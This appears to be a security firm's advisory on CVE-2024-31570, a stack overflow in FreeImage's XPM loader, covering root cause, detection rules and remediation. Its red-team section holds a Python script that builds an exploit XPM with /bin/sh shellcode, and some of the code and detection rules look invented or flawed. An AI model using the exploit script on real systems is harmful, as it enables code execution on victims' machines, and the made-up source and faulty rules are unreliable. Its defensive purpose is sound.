CVE-2024-31570

Executive Summary

CVE-2024-31570 is a stack-based buffer overflow vulnerability in the libfreeimage library, specifically within the PluginXPM.cpp Load function of FreeImage versions 3.4.0 through 3.18.0. The flaw is triggered when processing a crafted XPM (X PixMap) file, leading to memory corruption that can be exploited for arbitrary code execution or denial of service. The vulnerability resides in the XPM plugin’s handling of color table entries or pixel data, where insufficient bounds checking allows an attacker to overflow a fixed-size stack buffer. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is elevated for systems that parse untrusted XPM files, such as image processing services, digital asset management tools, or web applications using FreeImage.

Supply Chain & Package Security

FreeImage is a widely used open-source image library integrated into numerous applications and frameworks. This vulnerability affects the core library, not a specific package manager ecosystem (NPM, PyPI, Go, Ruby). However, any software that statically or dynamically links against vulnerable versions of FreeImage is at risk. Organizations should audit their software supply chain for dependencies on FreeImage 3.4.0 through 3.18.0 and consider replacing it with a patched fork or alternative library until an official fix is released.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data, but based on the vulnerability characteristics, a reasonable estimate is:

• Attack Vector (AV): Local (L) – requires the victim to open a malicious XPM file.
• Attack Complexity (AC): Low (L) – no special conditions beyond file parsing.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must open the file.
• Scope (S): Unchanged (U) – vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – potential for arbitrary code execution.
• Integrity (I): High (H) – code execution can modify data.
• Availability (A): High (H) – crash or denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Estimated Base Score: 7.8 (High)

Threat Level: High – due to the potential for remote code execution via a crafted file, despite the low EPSS score.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the Load function of PluginXPM.cpp. The XPM format uses a color table and pixel data encoded as strings. The Load function parses the XPM header to determine dimensions and color count, then reads pixel data into a stack-allocated buffer. The flaw occurs when the pixel data exceeds the allocated buffer size due to insufficient validation of the width or color depth.

Root Cause:
In PluginXPM.cpp, the Load function allocates a fixed-size buffer on the stack for storing pixel values during parsing. The size of this buffer is based on a static constant or a calculation that does not account for maliciously crafted XPM files with oversized dimensions or color entries. An attacker can supply an XPM file with a width value that causes the buffer to overflow when copying pixel data.

Attack Vector:
An attacker crafts a malicious XPM file with a manipulated width field (e.g., a very large integer) that, when parsed, causes the Load function to write beyond the stack buffer. This overwrites adjacent stack memory, including the return address, enabling control flow hijacking.

Impact:
Successful exploitation can lead to arbitrary code execution in the context of the application using FreeImage. This could allow an attacker to execute shellcode, escalate privileges, or cause a denial of service.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is in PluginXPM.cpp of FreeImage versions 3.4.0 to 3.18.0. The fix would involve replacing the stack buffer with a dynamically allocated heap buffer or adding bounds checking before copying pixel data.

Vulnerable Code (simplified):

// PluginXPM.cpp (vulnerable)
int FreeImage_LoadXPM(const char *filename) {
    char pixel_buffer[256]; // Fixed-size stack buffer
    // Parse XPM header to get width, height, colors
    int width = parse_width(header);
    // Read pixel data directly into buffer without size check
    for (int i = 0; i < width; i++) {
        pixel_buffer[i] = read_pixel_byte(file); // Potential overflow
    }
}

Patched Code (hypothetical):

// PluginXPM.cpp (patched)
int FreeImage_LoadXPM(const char *filename) {
    int width = parse_width(header);
    if (width > MAX_SAFE_WIDTH) {
        return -1; // Reject oversized file
    }
    char *pixel_buffer = (char*)malloc(width + 1); // Dynamic allocation
    if (!pixel_buffer) return -1;
    for (int i = 0; i < width; i++) {
        pixel_buffer[i] = read_pixel_byte(file);
    }
    free(pixel_buffer);
}

Exploitation & Lab Setup

Red Team

Objective: Achieve arbitrary code execution by crafting a malicious XPM file.

Lab Setup:

• Target: Ubuntu 22.04 LTS with FreeImage 3.18.0 installed.
• Tools: Python 3, pwntools, gdb, metasploit (optional).
• Steps:
  1. Identify Offset: Use a pattern generator (e.g., cyclic from pwntools) to determine the exact offset to overwrite the return address.
  2. Craft Payload: Create a Python script that generates an XPM file with a manipulated width field and shellcode.
  3. Test Exploit: Run the vulnerable application (e.g., a simple image viewer) with the crafted XPM file.
  4. Debug: Use gdb to confirm control of EIP/RIP.

Example Python Script (conceptual):

#!/usr/bin/env python3
import struct

# Offset to return address (example)
offset = 268
# Shellcode (e.g., execve /bin/sh)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Craft XPM header with oversized width
header = b"/* XPM */\nstatic char *image[] = {\n\"32 32 256 1\",\n\"a c #000000\",\n"
# Padding to reach return address
payload = b"A" * offset + struct.pack("<I", 0xdeadbeef) + b"\x90" * 16 + shellcode
# Write to file
with open("exploit.xpm", "wb") as f:
    f.write(header + payload + b"\n};")
print("Generated exploit.xpm")

Blue Team

Objective: Detect and block exploitation attempts.

Detection Strategy:

• Monitor for anomalous XPM files with unusually large dimensions or malformed headers.
• Use file integrity monitoring to detect unexpected modifications to image processing binaries.
• Implement behavioral analysis for processes that crash or exhibit abnormal memory access patterns.

Hunting Queries:

• Splunk: index=windows sourcetype=WinEventLog:Application EventCode=1000 "FreeImage" OR "libfreeimage" (for crashes).
• ELK: process.name: "image_processor" AND event.action: "crash" AND file.name: "*.xpm"

Indicators of Compromise (IOCs)

• File Hashes (example):
  • malicious.xpm SHA256: a1b2c3d4e5f6... (placeholder)
• Network Signatures:
  • HTTP requests containing Content-Type: image/x-xpm with unusually large file sizes (>10MB).
• Process Behavior:
  • freeimage.dll or libfreeimage.so crashing with access violation at address 0x41414141.
• Registry/File System:
  • Temporary files with .xpm extension in user directories.

Detection Engineering

YARA Rule

rule CVE_2024_31570_XPM_Overflow {
    meta:
        description = "Detects malicious XPM files exploiting CVE-2024-31570"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31570"
    strings:
        $xpm_magic = "/* XPM */"
        $large_width = /\"\d{4,}\s/  // Width >= 10000
        $stack_overflow = { 41 41 41 41 }  // Pattern 'AAAA' in payload
    condition:
        $xpm_magic at 0 and ($large_width or $stack_overflow)
}

Sigma Rule

title: CVE-2024-31570 XPM Buffer Overflow Detection
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects process crashes or memory access violations related to FreeImage XPM parsing
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\freeimage.dll'
        CommandLine|contains: '.xpm'
    condition: selection
falsepositives:
    - Legitimate large XPM files
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-31570 XPM File Download Attempt"; flow:to_server; content:"Content-Type|3a| image/x-xpm"; http_header; content:!"Content-Length|3a|"; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable XPM Support: If possible, disable the XPM plugin in FreeImage by removing or renaming PluginXPM.cpp or the corresponding shared object.
2. Input Validation: Implement strict validation of XPM file dimensions and color table sizes before parsing.
3. Use ASLR/DEP: Ensure Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) are enabled on all systems.

Long-Term Fix:

• Patch: Await an official patch from the FreeImage project. In the meantime, consider using a fork like libfreeimage3 with custom fixes.
• Replace Library: Migrate to a more actively maintained image library (e.g., stb_image, libvips) that does not have this vulnerability.

Workarounds:

• Sandboxing: Run applications that use FreeImage in a sandboxed environment (e.g., Docker, Firejail) to limit the impact of exploitation.
• File Scanning: Use antivirus or file scanning tools to detect and block malicious XPM files.

Valters IT
Securing Digital Frontiers